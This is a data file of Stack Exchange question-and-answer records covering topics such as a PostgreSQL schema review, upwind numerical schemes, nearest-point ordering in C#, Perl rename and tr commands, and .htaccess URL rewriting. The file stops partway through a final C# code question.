{  "id": "_cstheory.5617"  , "question": "Possible Duplicate:Limits to Parallel Computing A friend just asked me, if for every problem that takes time t on one processor, solving it on two processors will take t/2. Obviously, this is not known in the general case.Is there a counter examples to this? Meaning, is there a problem that is provably hard to parallel?"  , "title": "Is there a problem which is provably not parallelizable?"  , "tags": "dc.parallel comp"  } 
{  "id": "_codereview.58104"  , "question": "This is another revision of my Psycho Productions database, this time refactored from MySQL to PostgreSQL, after I found out about some of the shortcomings of MySQL. The following is a (simplified) version of relationships in a flowchart. The way I used arrows is: where the arrow originates = FK and where it points to = PK. Only one relationship is optional (the dashed arrow) as a project is allowed to not be invoiced (e.g., if it is declined) and an invoice is allowed not to be a project (e.g., a bill or something like that). If you wish to see the YUML diagram, it is here. PS: PostgreSQL automatically creates indexes on PKs, hence not explicitly defining indexes. If you feel other indexes are needed, I'm open to suggestions!Graphical illustration:Following is the full schema DDL code. I would appreciate if you could please provide any advice on design or any other aspect. DROP SCHEMA IF EXISTS PsychoProductions;CREATE SCHEMA PsychoProductions;SET SEARCH_PATH = PsychoProductions;---- Create table with standard values -- to be referenced to by other tables-- And insert some values in those tables---- Person typesCREATE TABLE PersonRole(    PersonRoleId SERIAL PRIMARY KEY,    PersonRoleName TEXT);INSERT INTO PersonRole     (PersonRoleName)VALUES    ('Staff'),    ('Partner'),    ('Customer'),    ('Vendor'),    ('Session musician');-- Billing methodsCREATE TABLE BillingMethod(    BillingMethodId SERIAL PRIMARY KEY,    BillingMethod TEXT);INSERT INTO BillingMethod    (BillingMethod)VALUES    ('Unassigned'),    ('Net 30'),    ('Net 15'),    ('Cash on delivery'),    ('Cash with order');-- Product typesCREATE TABLE Product(    ProductId SERIAL PRIMARY KEY,    ProductName TEXT,    ProductCost DECIMAL (8,2),    ProductStandard BOOLEAN DEFAULT True, -- Set to False if ad hoc project type    ProductTaxable BOOLEAN DEFAULT False -- No tax product if not physical good);INSERT INTO Product    (ProductName, ProductCost, ProductStandard, ProductTaxable)VALUES    ('Basic musical arrangement (3 or fewer)', 30, True, False),     ('Basic musical arrangement (4 or more)', 25, True, False),     ('Advanced musical arrangement (3 or fewer)', 50, True, False),     ('Advanced musical arrangement (4 or more)', 40, True, False),     ('Instrumental leasing (3 or fewer)', 25, True, False),     ('Instrumental leasing (4 or more)', 20, True, False),     ('Instrumental leasing (NAPH 3 or more)', 20, True, False),     ('Graphic design (album sleeve)', 80, True, False),     ('Graphic design (full CD & sleeve)', 150, True, False),     ('Graphic design (full CD, sleeve & booklet)', 200, True, False),     ('Graphic design (flyers)', 40, True, False),     ('Graphic design (t-shirt)', 30, True, False),     ('Graphic design (logo, sticker, small items)', 25, True, False),    ('Rush uplift charge (Basic project)', 10, True, False),    ('Rush uplift charge (Advanced project)', 20, True, False);-- Invoice Status typesCREATE TABLE InvoiceStatus(    InvoiceStatusID SERIAL PRIMARY KEY,    InvoiceStatus TEXT);INSERT INTO InvoiceStatus    (InvoiceStatus)VALUES    ('Open'),    ('Paid'),    ('Partially Paid'),    ('Cancelled');-- Transaction typesCREATE TABLE TransactionType(    TransactionTypeId SERIAL PRIMARY KEY,    TransactionType TEXT);INSERT INTO TransactionType    (TransactionType)VALUES    ('Debit'),    ('Credit');-- Address typesCREATE TABLE AddressType(    AddressTypeId SERIAL PRIMARY KEY,    AddressType TEXT);INSERT INTO AddressType    (AddressType)VALUES    ('Unique'),    ('Physical'),    ('Shipping'),    ('Billing'),    ('Mailing');-- Phone typesCREATE TABLE PhoneType(    PhoneTypeId SERIAL PRIMARY KEY,    PhoneType TEXT);INSERT INTO PhoneType    (PhoneType)VALUES    ('Mobile'),    ('Business'),    ('Home'),    ('Fax'),    ('Pager');-- Email typesCREATE TABLE EmailType(    EmailTypeId SERIAL PRIMARY KEY,    EmailType TEXT);INSERT INTO EmailType    (EmailType)VALUES    ('Business'),    ('Personal');-- -- Create master tables which will contain actual business data-- /* CREATE ALL CORE TABLES RELATED TO PERSONS */-- This table will contain primary person informationCREATE TABLE Person(    PersonId SERIAL PRIMARY KEY,    PersonRoleId INT NOT NULL DEFAULT 3     REFERENCES PersonRole(PersonRoleId),    FirstName TEXT NOT NULL,    LastName TEXT,    Organization TEXT,    Website TEXT,    DefaultBillingMethodId INT NOT NULL DEFAULT 1     REFERENCES BillingMethod(BillingMethodId),    Active BOOLEAN DEFAULT True,    CreationDate TIMESTAMP DEFAULT NOW());-- Addresses hereCREATE TABLE Address(    AddressId SERIAL PRIMARY KEY,    PersonId INT NOT NULL -- One-to-many relationship        REFERENCES Person(PersonID),    AddressTypeId INT NOT NULL DEFAULT 1 -- Unique        REFERENCES AddressType(AddressTypeId),    Address TEXT,    City TEXT,    State TEXT,    ZipCode TEXT);-- Phone numbers hereCREATE TABLE Phone(    PhoneId SERIAL PRIMARY KEY,    PersonId INT NOT NULL -- One-to-many relationship        REFERENCES Person(PersonId),    PhoneNumber TEXT NOT NULL,    PhoneTypeId INT NOT NULL DEFAULT 1 -- Mobile        REFERENCES PhoneType(PhoneTypeId));-- Emails hereCREATE TABLE  Email(    EmailId SERIAL PRIMARY KEY,    PersonId INT NOT NULL -- One-to-many relationship            REFERENCES Person(PersonId),    EmailAddress VARCHAR(50) NOT NULL,    EmailTypeId INT NOT NULL DEFAULT 1 -- Business        REFERENCES EmailType(EmailTypeId));/* CREATE ALL TABLES RELATED TO PROJECTS */-- This table will contain primary project informationCREATE TABLE Project(    ProjectId SERIAL PRIMARY KEY,    RequestPersonId INT NOT NULL,        FOREIGN KEY (RequestPersonID)             REFERENCES Person(PersonID),    AssignPersonId INT,        FOREIGN KEY (AssignPersonID)             REFERENCES Person(PersonID),    ProjectName VARCHAR(200) NOT NULL,    Description TEXT,    OrderDate DATE NOT NULL,    DueDate DATE,    CompleteDate DATE);-- Line number of product in project (tied to transactions)/* CREATE ALL TABLES RELATED TO MONEY */-- Invoices hereCREATE TABLE Invoice(    InvoiceId SERIAL PRIMARY KEY,    ProjectId INT NULL -- Not all invoices will be tied to a project        REFERENCES Project (ProjectId),    InvoiceByPersonId INT NOT NULL        REFERENCES Person(PersonId),    BillToPersonId INT NOT NULL        REFERENCES Person(PersonId),    BillToAddressId INT NOT NULL        REFERENCES Address(AddressId),    ShipToAddressId INT NULL -- Most invoiced products are not physical products        REFERENCES Address(AddressId),    InvoiceStatusId INT NOT NULL DEFAULT 1 -- Open        REFERENCES InvoiceStatus (InvoiceStatusId),    InvoiceDate DATE NOT NULL,    InvoicePaidDate DATE NULL);CREATE TABLE InvoiceDetail(    InvoiceDetailId SERIAL PRIMARY KEY,    InvoiceId INT NOT NULL        REFERENCES Invoice(InvoiceId),    InvoiceSequenceId INT NOT NULL,    ProductId INT NOT NULL        REFERENCES Product(ProductId),    Quantity INT NOT NULL DEFAULT 1,    TaxableRate DECIMAL(5,2));-- Monetary transactions will be logged hereCREATE TABLE AccountingTransaction(    TransactionId SERIAL PRIMARY KEY,    TransactionTypeId INT NOT NULL        REFERENCES TransactionType(TransactionTypeId),    ProjectId INT NULL -- Not all transactions will be tied to a project        REFERENCES Project (ProjectId),    InvoiceId INT NULL -- Ditto for invoice        REFERENCES Invoice(InvoiceId),    InvoiceSequenceId INT NULL, -- Ditto    PaidByPersonId INT NOT NULL        REFERENCES Person(PersonId),    PaidToPersonId INT NOT NULL        REFERENCES Person(PersonId),    TransactionDate DATE NOT NULL,    TransactionNote VARCHAR(1000));Execution:Query returned successfully with no result in 388 ms."  , "title": "Revision 2 - Step 1: PsychoProductions management tool project"  , "tags": "sql;postgresql"  , "accepted_answer": "I disagree with the recommendation to use an ENUM like 200_success suggests.  Your first choice should always be to use a reference table (like the OP currently has).  ENUM types are dangerous to modify (see:  http://postgresql.1045698.n5.nabble.com/Problems-with-ENUM-type-manipulation-in-9-1-td4844778.html) and the information ends up stored in a table anyway.Instead, you should be dropping the use of serial columns as your PRIMARY KEY in cases where you have a guaranteed unique KEY.  Your PersonRole table becomes this:CREATE TABLE PersonRole(    -- look, no serial    PersonRoleName TEXT PRIMARY KEY);INSERT INTO PersonRole     (PersonRoleName)VALUES    ('Staff'),    ('Partner'),    ('Customer'),    ('Vendor'),    ('Session musician');And your Person table's FOREIGN KEY changes like so:CREATE TABLE Person(    PersonId SERIAL PRIMARY KEY,    PersonRoleId TEXT NOT NULL DEFAULT 'Customer'         REFERENCES BillingMethod(PersonRoleName) -- right here    REFERENCES PersonRole(PersonRoleId),    FirstName TEXT NOT NULL,    LastName TEXT,    Organization TEXT,    Website TEXT,    DefaultBillingMethodId INT NOT NULL DEFAULT 1         REFERENCES BillingMethod(BillingMethodId),    Active BOOLEAN DEFAULT True,    CreationDate TIMESTAMP DEFAULT NOW());Provided your TEXT columns aren't too big, the difference between using a TEXT and an INTEGER when performing an index lookup is negligible (see: http://www.depesz.com/2012/06/07/123-vs-depesz-what-is-faster/).  The same thing can be applied to your BillingMethod and all of your assorted *Type tables.For your Phone table, I recommend dropping the serial all together and use a compound PRIMARY KEY instead.  The serial isn't serving any real purpose, and this will ensure that any given person cannot insert the same phone number more than once (though you could also use UNIQUE(PersonId, PhoneNumber) and get the same effect):CREATE TABLE Phone(    PersonId INT NOT NULL -- One-to-many relationship        REFERENCES Person(PersonId),    PhoneNumber TEXT NOT NULL,    PhoneTypeId INT NOT NULL DEFAULT 1 -- Mobile        REFERENCES PhoneType(PhoneTypeId),    PRIMARY KEY (PersonId, PhoneNumber) -- right here);I must caution against using capitalization for both your table and column naming.  PostgreSQL silently turns all of your names to lowercase unless you double quoted the table/column names when you created the tables:select * from PersonRole; personroleid |  personrolename--------------+------------------            1 | Staff            2 | Partner            3 | Customer            4 | Vendor            5 | Session musicianSo for clarity purposes, I would recommend using underscores instead (person_name instead of PersonName).  Unless, of course, you would prefer to have to double quote all of your identifiers.Now, this is a purely stylistic change, but I personally feel that your column names (PersonName, ProductType) are overly verbose (I wouldn't want to be the guy stuck writing queries for these tables!).CREATE TABLE address_type(    type TEXT PRIMARY KEY);CREATE TABLE address(    id SERIAL PRIMARY KEY,    person_id INT NOT NULL -- One-to-many relationship        REFERENCES person(id),    type TEXT NOT NULL DEFAULT 'Unique'        REFERENCES address_type(type),    address TEXT,    city TEXT,    state TEXT,    zipcode TEXT);It should be obvious that address.type refers to a type of address, rather than a type of phone number (if it was appropriate to place the phone number type here, then you want to go ahead and prefix it: phone_type).  If ambiguities arise from selecting from multiple tables that have the same column name, you can use the table's name to clarify exactly which column you're referring to:  address.id and person.id.  Comes out to roughly the same amount of typing for worst case scenarios, but saves a fair bit of typing when there's no overlapping names.If you need to have unique column names (eg. for a VIEW), then you'll need to alias them of course.  However, cases like these will be the exception, rather than the norm."  } 
{  "id": "_scicomp.19618"  , "question": "It is well known that upwind schemes are stable when calculating convection flows with $|\\text{Pe}|>2$, $\\text{Pe}$ is the Peclet number. Why is that, and why is central difference unstable?Is there any intrinsic reason there?Any explanation, references, links will be helpful."  , "title": "Why are upwind schemes stable in convection flow calculation?"  , "tags": "fluid dynamics;stability"  , "accepted_answer": "The reasoning for the stability of upwind schemes based on an understanding of the characteristics of the hyperbolic equation(s). Characteristics are essentially the finite speeds at which information in a hyperbolic system travel, and are found via decomposing a hyperbolic system into independent hyperbolic PDEs.Now characteristics are essentially just pushing along the initial conditions of a given hyperbolic equation (though nonlinear equations can distort them). The fact this speed is finite results in a need to be careful with your numerical stencil.The typical example to illustrate the need to sample carefully is to imagine an initial condition of:$$ u_0(x) = \\begin{cases} 1 & x < 2\\\\ 0 & 2 \\leq x \\end{cases} $$Since the characteristic just pushes this initial condition along the space-time domain, its general shape and the center discontinuity remains. Now imagine some time later, you are aiming to evaluate the derivative at some x* location. There's a chance that the x* location is at the center of the discontinuity, where the derivative is technically undefined.To counter this, we sample on one side. Now how do we decide which side to sample on? It should be the side that would change value first.. Which is the side the characteristic would touch first. This means that if the characteristic is moving in the positive x direction, we should sample to the left to ensure we capture any possible changes in the solution.This sampling of data that is going in the opposite direction of the characteristic is known as upwinded sampling. This helps ensure numerical stability by only sampling data we know we have information for."  } 
{  "id": "_webapps.33307"  , "question": "Is there any web app/site similar to Google SMS channels that can be used to send and receive free SMS in India?"  , "title": "Alternatives to Google SMS Channels?"  , "tags": "google;sms"  } 
{  "id": "_webapps.11816"  , "question": "I have a Youtube account with several videos. I often like to refresh the video page to see if the view count on any of my videos have gone up. Is there a way to automatically be alerted when someone views one of my videos?"  , "title": "How to get alerted when someone views a Youtube video"  , "tags": "youtube;video;notifications"  , "accepted_answer": "Your views are not updated in real time so there is no way to know exactly when somebody actually seen your video. As for notifications I don't think that there is a way (at least not directly from YouTube) because it would be quite annoying to receive notifications for viral videos."  } 
{  "id": "_softwareengineering.74493"  , "question": "Is there are a widely accepted standard for formatting SQL queries?  I've never been given any guidance as to the typical or standard way of doing it.  I've seen three styles in the wild, and prefer the second:All caps:  SELECT GROUP_NAME FROM GROUP_TABLE WHERE GROUP_CODE = 'GRP37X';Reserved words in lower case:  select GROUP_NAME from GROUP_TABLE where GROUP_CODE = 'GRP37X';Reserved words in caps, variables in lower case:  SELECT group_name FROM group_table WHERE group_code = 'GRP37X';Is there a consensus on SQL syntax formatting?"  , "title": "Proper syntax formatting for SQL?"  , "tags": "sql;syntax;formatting"  } 
{  "id": "_webapps.44672"  , "question": "One of my album has exclamation mark over the thumbnail as below,Any one has idea for the meaning of it? I know it should be related to some warning but it shows no details even I keep hover my cursor over the exclamation mark."  , "title": "Album with exclamation mark in Google Plus Photo"  , "tags": "google plus"  } 
{  "id": "_codereview.139059"  , "question": "I wrote a function that will take a list of points and then order them so they sort of... chain together.The function will start with point #1 in the list.It will add point #1 to the list of ordered by distance points.It will then search for the closest point to point #1. (We'll call this point, point #2)It will then add point #2 to the list of ordered by distance points.And then... it will search for the closest point to point #2. (Which would be point #3)You get the point.The main problem with my code is: it's incredibly slow when dealing with lists that contain tons of points.I would like some help optimizing my function to make it operate as fast as possible.private static double Distance(Point p1, Point p2){    return Math.Sqrt(Math.Pow(p2.X - p1.X, 2) + Math.Pow(p2.Y - p1.Y, 2));}private List<Point> OrderByDistance(List<Point> pointList){    var orderedList = new List<Point>();    var currentPoint = pointList[0];    while (pointList.Count > 1)    {        orderedList.Add(currentPoint);        pointList.RemoveAt(pointList.IndexOf(currentPoint));        var closestPointIndex = 0;        var closestDistance = double.MaxValue;        for (var i = 0; i < pointList.Count; i++)        {            var distance = Distance(currentPoint, pointList[i]);            if (distance < closestDistance)            {                closestPointIndex = i;                closestDistance = distance;            }        }        currentPoint = pointList[closestPointIndex];    }    // Add the last point.    orderedList.Add(currentPoint);    return orderedList;}"  , "title": "Order a list of points by closest distance"  , "tags": "c#;performance;computational geometry"  , "accepted_answer": "The main idea is to cover the entire space occupied by points with a rectangular regular grid.Each grid cell contains a small subset of points which are located within the cell.Since the grid is regular, for a given point we can easily calculate its cell index (I, J).Next we search for the nearest point in the range I-1 <= i <= I+1, J-1 <= j <= J+1.If no points found, iterate for all indexes in the range I-n <= i <= I+n, J-n <= j <= J+n for n = 2, 3, ..., except indexes from the previous steps.Side notes:There is no need to use the Math.Pow method, consider to use Pow2 method instead:private static double Pow2(double x){    return x * x;}There is no need to calculate distance, consider to use square of distance:private static double Distance2(Point p1, Point p2){    return Pow2(p2.X - p1.X) + Pow2(p2.Y - p1.Y);}There is no need to remove points from the source list, you could iteratewhile (orderedList.Count != pointList.Count)Here is the complete code:[DebuggerDisplay(X={X}, Y={Y})]internal sealed class Point{    public readonly double X;    public readonly double Y;    public Point(double x, double y)    {        X = x;        Y = y;    }}internal static class PointsSorter{    public static List<Point> GeneratePoints(int count)    {        Random rnd = new Random();        List<Point> tmp = new List<Point>(count);        for (int i = 0; i < count; i++)        {            tmp.Add(new Point(rnd.NextDouble() * 100000 - 50000, rnd.NextDouble() * 100000 - 50000));        }        return tmp;    }    private static double Pow2(double x)    {        return x * x;    }    private static double Distance2(Point p1, Point p2)    {        return Pow2(p2.X - p1.X) + Pow2(p2.Y - p1.Y);    }    private static Tuple<Point, double> GetNearestPoint(Point toPoint, LinkedList<Point> points)    {        Point nearestPoint = null;        double minDist2 = double.MaxValue;        foreach (Point p in points)        {            double dist2 = Distance2(p, toPoint);            if (dist2 < minDist2)            {                minDist2 = dist2;                nearestPoint = p;            }        }        return new Tuple<Point, double>(nearestPoint, minDist2);    }    public static List<Point> OrderByDistance(List<Point> points, int gridNx, int gridNy)    {        if (points.Count == 0)            return points;        double minX = points[0].X;        double maxX = minX;        double minY = points[0].Y;        double maxY = minY;        // Find the entire space occupied by the points        foreach (Point p in points)        {            double x = p.X;            double y = p.Y;            if (x < minX)                minX = x;            else if (x > maxX)                maxX = x;            if (y < minY)                minY = y;            else if (y > maxY)                maxY = y;        }        // The trick to avoid out of range        maxX += 0.0001;        maxY += 0.0001;        double minCellSize2 = Pow2(Math.Min((maxX - minX) / gridNx, (maxY - minY) / gridNy));        // Create cells subsets        LinkedList<Point>[,] cells = new LinkedList<Point>[gridNx, gridNy];        for (int j = 0; j < gridNy; j++)            for (int i = 0; i < gridNx; i++)                cells[i, j] = new LinkedList<Point>();        Func<Point, Tuple<int, int>> getPointIndices = p =>        {            int i = (int)((p.X - minX) / (maxX - minX) * gridNx);            int j = (int)((p.Y - minY) / (maxY - minY) * gridNy);            return new Tuple<int, int>(i, j);        };        foreach (Point p in points)        {            var indices = getPointIndices(p);            cells[indices.Item1, indices.Item2].AddLast(p);        }        List<Point> ordered = new List<Point>(points.Count);        Point nextPoint = points[0];        while (ordered.Count != points.Count)        {            Point p = nextPoint;            var indices = getPointIndices(p);            int pi = indices.Item1;            int pj = indices.Item2;            ordered.Add(p);            cells[pi, pj].Remove(p);            int radius = 1;            int maxRadius = Math.Max(Math.Max(pi, cells.GetLength(0) - pi), Math.Max(pj, cells.GetLength(1) - pj));            double[] minDist2 = { double.MaxValue };    // To avoid access to modified closure            Point nearestPoint = null;            while ((nearestPoint == null || minDist2[0] > minCellSize2 * (radius - 1)) && radius < maxRadius)            {                int minI = Math.Max(pi - radius, 0);                int minJ = Math.Max(pj - radius, 0);                int maxI = Math.Min(pi + radius, cells.GetLength(0) - 1);                int maxJ = Math.Min(pj + radius, cells.GetLength(1) - 1);                // Find the nearest point in the (i, j)-subset action                Action<int, int> findAction = (i, j) =>                {                    if (cells[i, j].Count != 0)                    {                        var areaNearestPoint = GetNearestPoint(p, cells[i, j]);                        if (areaNearestPoint.Item2 < minDist2[0])                        {                            minDist2[0] = areaNearestPoint.Item2;                            nearestPoint = areaNearestPoint.Item1;                        }                    }                };                if (radius == 1)                {                    // Iterate through all indexes in the 3x3                    for (int j = minJ; j <= maxJ; j++)                    {                        for (int i = minI; i <= maxI; i++)                        {                            findAction(i, j);                        }                    }                }                else                {                    // Iterate through border only                    for (int i = minI; i < maxI; i++)                    {                        findAction(i, minJ);                    }                    for (int j = minJ; j < maxJ; j++)                    {                        findAction(maxI, j);                    }                    for (int i = minI + 1; i <= maxI; i++)                    {                        findAction(i, maxJ);                    }                    for (int j = minJ + 1; j <= maxJ; j++)                    {                        findAction(minI, j);                    }                }                radius++;            }            nextPoint = nearestPoint;        }        return ordered;    }}Usage:var sortedPoints = PointsSorter.OrderByDistance(PointsSorter.GeneratePoints(500000),                   500, 500);Execution time on my PC (in Debug): ~15 seconds."  } 
{  "id": "_webmaster.10494"  , "question": "In a corporate web-design setup, who typically makes more per hour, the graphic designer or the programmer?By graphic designer, I mean somebody who builds mockups probably in photoshop, selects font-styles, colors, etc.  Most things layout-wise are near pixel-perfect, but likely after the initial implementation by the programmer, there will be a lot of small changes directed by the graphic designer.By programmer, I mean somebody who is coding the CSS, the HTML, and light backend support, probably in PHP.  The programmer will attempt to duplicate the mockups given the limitations of the medium, and consult with the graphic designer afterwards on what changes are tangible and which are not.Both probably have an undergraduate degree from a respected four-year institution."  , "title": "Pay for Graphic Designer vs Programmer"  , "tags": "website design;payments;contract"  } 
{  "id": "_cstheory.36850"  , "question": "Given $M\\in\\Bbb Z^{n\\times n}$ with $O(n)$ bit entries (could be all in $\\{0,1\\}$), $p$ a prime of $O(n^\\alpha)$ bits for some $\\alpha\\in(0,1]$ and a $c,d\\in\\Bbb Z$ with $0\\leq c<d<p$, is 'Is $\\mathsf{Perm}(M)\\bmod p\\in\\{c,\\dots,d\\}$?' $\\mathsf{PP}$-complete?What if $p$ is $O(\\log n)$ bits or even smaller?Without the ${}\\bmod p$ it is known to be $\\mathsf{PP}$-complete."  , "title": "Complexity of permanent modulo prime"  , "tags": "cc.complexity theory;complexity classes;counting complexity;reductions;permanent"  , "accepted_answer": "First, the permanent of an $n\\times n$ integer matrix with $O(n)$-bit coefficients is an integer with $O(n^2)$ bits, hence if we know it modulo an integer with $\\Omega(n^2)$ bits (with the implied constant depending on the constant in the input bit size), we know it outright.Your problem with $p$ allowed to have $O(\\log n)$ bits is PP-hard under polynomial-time Turing reductions: in order to compute permanent, just compute it modulo every prime below $cn^2$, and use the Chinese remainder theorem to find its value modulo the product of these primes, which is roughly $e^{cn^2}$. By the above, this provides the true value of the permanent for suitable $c$.There is a serious obstacle to using your problem for primes with $\\omega(\\log n)$ bits: any reduction to this problem must in particular produce a prime number, and we know of no provably correct deterministic way of computing large primes significantly faster than brute force.But if you allow randomized reductions, or say, reductions with free access to solutions of the search problem given $x$, find a prime $p$ such that $x\\le p\\le2x$, then you can reduce the number of oracle queries in the reduction of permanent I gave above by using a smaller number of larger primes: if you allow primes $p$ with $m(n)$ bits, you can do away with about $n^2/m(n)$ oracle calls.For $m(n)=n^\\alpha$ with constant $\\alpha$, you can use padding to reduce the number of queries to $1$, i.e., to get a randomized many-one reduction: given the input $n\\times n$ matrix $M$, find a prime $p$ of at least $n^2$ bits, and let $M'$ be the matrix $M$ padded with diagonal $1$s to dimension $n'\\times n'$, where $n'^\\alpha\\ge\\log p$. Then ask for the permanent of $M'$ modulo $p$."  } 
{  "id": "_unix.146154"  , "question": "I'm trying to change jpg files named with a dot and a space at the beginning and with a missing dot before the end (like this . Startjpg to Start.jpgThe dot makes the files hidden from sed and ls -al lists those files so I'm piping ls -al to sed. I've read through many manuals online and I always get this errorsed: -e expression #1, char 6: unknown command: `/'I've triedls -al | sed -r '/^\\./*.*/g'ls -al | sed -r '/^\\.//g'ls -al | sed -r '/.*/[\\.]g'ls -al | sed 's/^\\./\\\\1*./g'and many more and even many more many more.also I need to change filejpg to file.jpg"  , "title": "How to remove dot and space from beginning of filenames"  , "tags": "shell;regular expression;rename"  , "accepted_answer": "With the Perl rename tool (which is called rename on Debian and friends including Ubuntu, it may be prename elsewhere):rename -n 's/(?<!\\.)jpg$/.jpg/' *  # -n makes it show you what it'll do,                                   # but not actually do it. Remove the -n to                                   # actually renameTo break down that patter: the jpg$ means ends with 'jpg'. The (?<!\\.) means 'there isn't a dot before that 'jpg'. That prevents you from changing foo.jpg into foo..jpg, which would be silly.The * is the normal shell wildcard; rename takes a list of files to consider renaming. You can of course do /path/to/dir/*, pass a list of file names, use in conjunction with find, etc.Removing dots and spaces from the beginning is fairly easy too:rename -n 's/^[. ]+//' *          # trying -n first is good practiceThat will remove all dots and spaces at the beginning. It'll turn .  .  . foo into foo.Normally, * shell expansion won't yield files that have a name starting with a dot (hidden files). One option is to use .*; that'll also yield the two special entries . (current directory) and .. (parent directory). That should be harmless in this case; the first command will ignore them (they don't end in jpg); the second command will try to rename them, but that should just produce an error. An alternative is find:find -type f -exec rename -n 's/^[. ]+//' '{}' +-type f will limit to only files. You can of course also use any of find's other options as well."  } 
{  "id": "_webmaster.99052"  , "question": "I want to remove the .jsp extension from my URL and replace it with a forward slash eg. example.com/xyz.jsp to example.com/xyz/ and example.com/xyz.jsp?ab=12 to example.com/xyz/?ab=12.I used:RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^([^/]+)/$ $1.phpRewriteRule ^([^/]+)/([^/]+)/$ /$1/$2.phpRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_URI} !(\\.[a-zA-Z0-9]{1,5}|/)$RewriteRule (.*)$ /$1/ [R=301,L]AndRewriteEngine OnRewriteBase /# external redirect from /example.html to /exampleRewriteCond %{THE_REQUEST} ^[A-Z]{3,}\\s/+([^.]+)\\.html [NC]RewriteRule ^ /%1/ [R=301,L]# internal forward from /example/ to //example.htmlRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-lRewriteCond %{DOCUMENT_ROOT}/$1.html -fRewriteRule ^(.+?)/?$ /$1.html [L]In my .htaccess but neither are not working correctly."  , "title": "How to remove .jsp extension and replace with forward Slash in htaccess?"  , "tags": "htaccess;url;url rewriting"  , "accepted_answer": "You will need to ensure that MultiViews is disabled before this will work correctly, as this will tend to conflict with your mod_rewrite directives. Add this in your .htaccess file:Options +FollowSymLinks -MultiViews(FollowSymLinks needs to be enabled for mod_rewrite to work, so just to be sure.)Then, something like what you already have looks reasonable:RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{DOCUMENT_ROOT}/$1.jsp -fRewriteRule (.+)/$ $1.jsp [L]I've made the trailing slash mandatory on the URL (otherwise you potentially have two URLs accessing the same content - duplicate content).UPDATE: To redirect any requests to the .jsp URL to the canonical URL (ie. without the extension and with a trailing slash) then something like the following (similar to what you had in your question) would need to go before the directives above:RewriteCond %{THE_REQUEST} \\.jsp\\sRewriteRule (.+)\\.jsp$ /$1/ [R=301,L]This is only strictly necessary if the .jsp URLs had been indexed or externally linked to. If this is a new site then this step is optional.It is more efficient to match what you can with the RewriteRule pattern (ie. (.+)\\.jsp$), rather than have a catch-all regex here. The THE_REQUEST condition ensures that this only applies to initial requests and not rewritten requests - thus preventing a redirect loop.So, in summary:# Disable MultiViewsOptions +FollowSymLinks -MultiViewsRewriteEngine On# Remove file extension from URLs (external redirect)RewriteCond %{THE_REQUEST} \\.jsp\\sRewriteRule (.+)\\.jsp$ /$1/ [R=301,L]# Internally rewrite extensionless URLs back to .jspRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{DOCUMENT_ROOT}/$1.jsp -fRewriteRule (.+)/$ $1.jsp [L]DEBUGGING: To help with debugging the above, add the following directive below the RewriteEngine On directive and check the environment variables (MOD_REWRITE_THE_REQUEST and MOD_REWRITE_URL_PATH) in your server-side code:RewriteCond %{THE_REQUEST} (.*)RewriteRule (.*) - [E=MOD_REWRITE_THE_REQUEST:%1,E=MOD_REWRITE_URL_PATH:$1]What do these environment variables contain when you access a .jsp URL?"  } 
{  "id": "_unix.55812"  , "question": "how to delete all characters in file except numbers and . ,  each word (numbers/dot)  should  be in new line in file see example2 the solution can be with  sed or awk or ksh syntaxremark - the solution must be according to the example 2example 1file before edit  192.0.22.1++0.1  e32)5.500.5.5*kjcdr  ##@$1.1.1.1+++jmjh  1.1.1.1333  33331.1.1.1  @5.5.5.??????  ~3de.ede5.5.5.5  1.1.1.13444r54  192.9.30.174  &&^#%5.5.5.5  :5.5.5.5@%%^^&*  :5.5.5.5:  **22.22.22.22  172.78.0.1()*5.4.3.277  3.3.3ki.3.example 2 of file after delete all characters except numbers and . charter , each new word will be in new line   192.0.22.1  0.1  32 5.500.5.5  1.1.1.1  1.1.1.1333  33331.1.1.1  5.5.5.  .  5.5.5.5  1.1.1.13444  54  192.9.30.174  5.5.5.5  5.5.5.5  5.5.5.5  22.22.22.22  172.78.0.1   5.4.3.277  3.3.3 .3."  , "title": "Replace all but a set of characters in a file with newline"  , "tags": "linux;sed;awk;perl"  , "accepted_answer": "This is a classic tr use case, so the simplest way is:tr -cs '[:digit:].' '[\\n*]' < input > outputThe [:digit:]. argument specifies the characters to match (digits and dot).  The [\\n*] specifies the characters to replace with (replace everything with newline).  The -c option inverts the first argument since we want everything except digits and dot.  The -s squeezes consecutive newlines from the second string into one."  } 
{  "id": "_codereview.13148"  , "question": "I had code that violated the Single Responsibility Principle in a question on Stack Overflow.In order to overcome that problem, I changed the code as follows.Is this a good practice in order to overcome the problem? Is this a pattern?Is there a better way?Does it satisfy the Unit Of Work pattern using LINQ-to-SQL?namespace DomainObjectsForBank{    public interface IBankAccount    {        int BankAccountID { get; set; }        string AccountStatus { get; set; }        void FreezeAccount();        RepositoryLayer.IRepository<RepositoryLayer.BankAccount> AccountRepository { get; set; }    }    public class FixedBankAccount : IBankAccount    {        public int BankAccountID { get; set; }        public string AccountStatus { get; set; }        public void FreezeAccount()        {            //ChangeAccountStatus();            AccountStatus = Frozen;        }        //private void ChangeAccountStatus()        //{        //    AccountStatus = Frozen;        //    RepositoryLayer.BankAccount repositoryBankAccEntity = new RepositoryLayer.BankAccount();        //    repositoryBankAccEntity.BankAccountID = this.BankAccountID;        //    accountRepository.UpdateChangesByAttach(repositoryBankAccEntity);        //    repositoryBankAccEntity.Status = Frozen;        //    accountRepository.SubmitChanges();        //}        private RepositoryLayer.IRepository<RepositoryLayer.BankAccount> accountRepository;        public RepositoryLayer.IRepository<RepositoryLayer.BankAccount> AccountRepository        {            get            {                return accountRepository;            }            set            {                accountRepository = value;            }        }    }}using System.Collections.Generic;using System;namespace ApplicationServiceForBank{    public class BankAccountService    {        RepositoryLayer.IRepository<RepositoryLayer.BankAccount> accountRepository;        ApplicationServiceForBank.IBankAccountFactory bankFactory;        public BankAccountService(RepositoryLayer.IRepository<RepositoryLayer.BankAccount> repo, IBankAccountFactory bankFact)        {            accountRepository = repo;            bankFactory = bankFact;        }        public void FreezeAllAccountsForUser(int userId)        {            IEnumerable<RepositoryLayer.BankAccount> accountsForUser = accountRepository.FindAll(p => p.BankUser.UserID == userId);            foreach 